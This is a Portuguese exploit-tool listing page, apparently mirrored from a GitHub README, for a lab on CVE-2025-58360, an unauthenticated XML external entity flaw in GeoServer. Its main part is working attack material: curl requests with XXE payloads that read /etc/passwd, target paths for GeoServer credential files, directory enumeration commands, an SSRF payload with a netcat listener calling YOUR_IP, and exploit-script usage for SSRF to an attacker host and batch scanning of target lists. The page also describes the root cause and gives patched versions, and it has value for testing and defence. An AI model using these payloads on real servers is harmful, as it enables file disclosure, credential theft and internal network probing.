Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-58360-GeoServer-XXE | Kitploit
Ferramentas/GitHubGitHub/joker-wiggin/cve-2025-58360-geoserver-xxe
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubjoker-wiggin/cve-2025-58360-geoserver-xxe

CVE-2025-58360-GeoServer-XXE

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
há 8 mesesAinda não revisado

CVE-2025-58360: Laboratório XXE do GeoServer

Injeção de Entidade Externa XML (XXE) não autenticada nos serviços OWS/WMS do GeoServer

CVSS: 9.8 CRÍTICO
Afetado: <= 2.25.5, 2.26.0-2.26.1
Corrigido: 2.25.6+, 2.26.2+, 2.27.0+

Visão Geral

Este laboratório demonstra a CVE-2025-58360, uma vulnerabilidade crítica de XXE no tratamento de requisições XML WMS/OWS do GeoServer. A vulnerabilidade permite que atacantes não autenticados:

  • Leiam arquivos arbitrários do sistema de arquivos do servidor
  • Listem conteúdos de diretórios por meio do handler file:// do Java
  • Executem ataques SSRF contra serviços internos
  • Rou quem credenciais dos arquivos de configuração do GeoServer

Causa Raiz

O método SLDParser.parseSLD() do GeoServer processa documentos de estilo XML sem restrições adequadas de resolução de entidades. Embora o dispatcher OWS use AllowListEntityResolver para bloquear XXE, o caminho de código de análise SLD ignora essa proteção:

root@kitploit:~
POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS Dispatcher            | <-- EntityResolver configured
|   (Detects SLD in body)     |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader       |
|   -> SLDHandler.parse()     |
|   -> SLDParser.parseSLD()   | <-- NO EntityResolver!
+-----------------------------+
     |
     v
   XXE RESOLVED -> File/SSRF

Início Rápido

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose up -d

# Vulnerable: http://localhost:8080/geoserver
# Patched:    http://localhost:8081/geoserver

# Wait ~60 seconds for startup

Credenciais Padrão: admin / geoserver


Exploração

Leitura de Arquivo

root@kitploit:~
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

Resposta Vulnerável:

root@kitploit:~
<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

Resposta Corrigida:

root@kitploit:~
<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

Alvos de Alto Valor

root@kitploit:~
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

Listagem de Diretórios

O handler file:// do Java lê diretórios como listas de arquivos separados por quebras de linha:

root@kitploit:~
# List root directory
python3 exploit.py -u http://localhost:8080 --file /

# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

Saída:

root@kitploit:~
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

Isso permite a enumeração completa do sistema de arquivos antes de mirar em arquivos específicos.

SSRF

root@kitploit:~
# Start listener
nc -lvnp 9999

# Send payload
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

Usando o Script de Exploit

root@kitploit:~
# Version check
python3 exploit.py -u http://localhost:8080

# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe

# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt

Conteúdo do Laboratório

root@kitploit:~
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py

Remediação

Atualize para o GeoServer 2.25.6+, 2.26.2+ ou 2.27.0+


Aviso Legal

Somente para fins educacionais e de testes de segurança autorizados.


El Perro Joke

Baixar ferramenta